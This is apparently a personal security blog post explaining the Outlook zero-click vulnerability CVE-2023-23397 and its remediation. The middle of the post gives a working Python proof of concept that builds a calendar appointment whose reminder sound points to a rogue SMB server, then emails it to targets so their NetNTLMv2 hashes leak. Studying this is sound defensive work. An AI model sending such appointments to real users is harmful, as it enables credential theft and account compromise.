Zero-Click - CVE-2023-23397

As much as Microsoft 365 is pushing itself to everyones front door, there is a great chance your company still uses on-premises exchange server for its email operations, paired up with Outlook client.

If you've been on job at around May 14th++ 2023, well if you're reading this then you're probably either working on InfoSec / IT, and you were the one dealing with this "catastrophe", but if for some weirdo reason you're not (working in IT), you should've noticed big fuss - InfoSec people crying, banging their heads at walls, etc... What happened?

Well this zero-click vulnerability, of a CVSS score 9.8 made us, once again, remember how much we hate Microsoft. As big and good as they are, we just hate them, don't we? Anyways, I have to make whole another post ranting about Microsoft/Windows, lets get to business.

So what happened? Imagine minding your business, doing your job, and all of a sudden a reminder popup appears, saying 'Hey don't miss out this appointment', and just like that, its over, you are pwned.

In this case, pwned == hashed (NetNTLMv2) value of your AD's password gets leaked to a threat actor/s overseas. What can they do with them, well, for starters they can try and crack it, depending on your organizations security maturity - your minimum password strength is or is not good enough. If you're not from Cyber Security realm, you're not paranoid enough, there is high, i mean really high chance that your password is "iamcarlos2024#" and when monthly password rotation kicks in, you'll just get bored and make it even simpler. So a threat actor will have easy job cracking that hashed value and once he succeeds, he/she can authenticate to a OWA (Outlook Web Application) that your organization is probably using for accessing mail inbox over Web. - Please enable MFA. Please enable MFA. Please enable MFA. (everywhere) They could also use that password for authenticating to any application that is using AD as SSO.

They could also relay it, but it is really less likely as they would have to previously establish decent foothold on to a AD, do some lateral movement, etc... But anyways, make sure that SMB Signing is in enforced mode. That will prevent NetNTLMv2 relaying, among other things.


So what happens in the background?

Figure 1 - Exploitation path

So the API endpoint "PlayReminderSound" is vulnerable, because it does not do proper input validation as it should. By making the .msg's (format that supports appointments in Outlook) "PidLidReminderFileParameter" point to a remote UNC path of ours choice, (rogue SMB server waiting for authentications - ie Responder) - instead of a local .wav audio file that is used to make audio notification when reminder is triggered. That way we are able to capture victims NetNTLMv2 hash as it is trying to authenticate to our server in a moment of reminder triggering, instead of making beep beep sound.

Here is a PoC code that will generate and send that calendar appointment with a reminder on. You'll have to change SMTP settings, as well as use it with -p '\\roguesmb\' switch to point it to a rogue server. (Couldn't find the github repo of a man that actually wrote PoC, but I remember he did it first, just after CVE got published, this is just my slight adaptation/fork)

import smtplib, datetime, argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
from email.utils import COMMASPACE, formatdate
from independentsoft.msg import Message

# Mail configuration : change it !
smtp_server = "smtp.mail.me.com"
smtp_port = 587

sender_email = "#yourEmail"
sender_password = "smtpAppPass"

recipients_email = ["#recipientsMail"]

class Email:
    def __init__(self, smtp_server, port, username, password, recipient):
        self.smtp_server = smtp_server
        self.port = port
        self.username = username
        self.password = password
        self.recipient = recipient

    def send(self, subject, body, attachment_path):
        msg = MIMEMultipart()
        msg['From'] = self.username
        msg['To'] = COMMASPACE.join(self.recipient)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject
        
        msg.attach(MIMEText(body))

        with open(attachment_path, 'rb') as f:
            part = MIMEApplication(f.read(), Name=attachment_path)
            part['Content-Disposition'] = f'attachment; filename="{attachment_path}"'
            msg.attach(part)

        try:
            server = smtplib.SMTP(self.smtp_server, self.port)
            server.starttls()
            server.login(self.username, self.password)
            server.sendmail(self.username, self.recipient, msg.as_string())
            server.quit()
            print("[+] Malicious appointment sent !")


        except Exception as e:
            print("[-] Error with SMTP server...", e)

parser = argparse.ArgumentParser(description='CVE-2023-23397 POC : send a malicious appointment to trigger NetNTLM authentication.')
parser.add_argument('-p', '--path', type=str, help='Local path to process', required=True)
args = parser.parse_args()

appointment = Message()
appointment.message_class = "IPM.Appointment"
appointment.subject = "Test Email Nikola"
appointment.body = "New meeting now !"
appointment.location = "Podgorica"
appointment.appointment_start_time = datetime.datetime.now()
appointment.appointment_end_time = datetime.datetime.now()
appointment.reminder_override_default = True
appointment.reminder_sound_file = args.path
appointment.save("appointment.msg")

email = Email(smtp_server, smtp_port, sender_email, sender_password, recipients_email)

subject = "Hello There !"
body = "Apointment awaitingg"
email.send(subject, body, "appointment.msg")

This is how it looks when email arrives:

Figure - 2: Reminder is triggered

On the attackers side we can see that we received hash, and after cracking it, my ultra secure password gets revealed (12345).

Figure 3 - NetNTLMv2 hash received / cracked

Remediation:

  • Deny outbound TCP 445/SMB traffic - as you should,
  • Patch with a official security updates released by Microsoft,
  • Microsoft suggest adding users to a "Protected Users Security Group", which prevents them from using NTLM as a authentication mechanism,
  • Craft YARA rules that will search for remote UNC paths. This appointment comes in a form of attachment and as we can see in Figure 4, its remote UNC path is plain text hard coded, so we can just check for it and drop / quarantine if that is the case.
Figure 4 - Hardcoded remote UNC path inside .msg attachment

Vulnerable versions:

  • All builds lower or equal to 10395.20020
  • Check the build numbers here

Make sure to read about "Moniker Link" as well, as it exploits kind of similar vulnerability logic as in this one, yet again in Microsoft Outlook.

Thanks for stopping by,
Cheers,
bigfella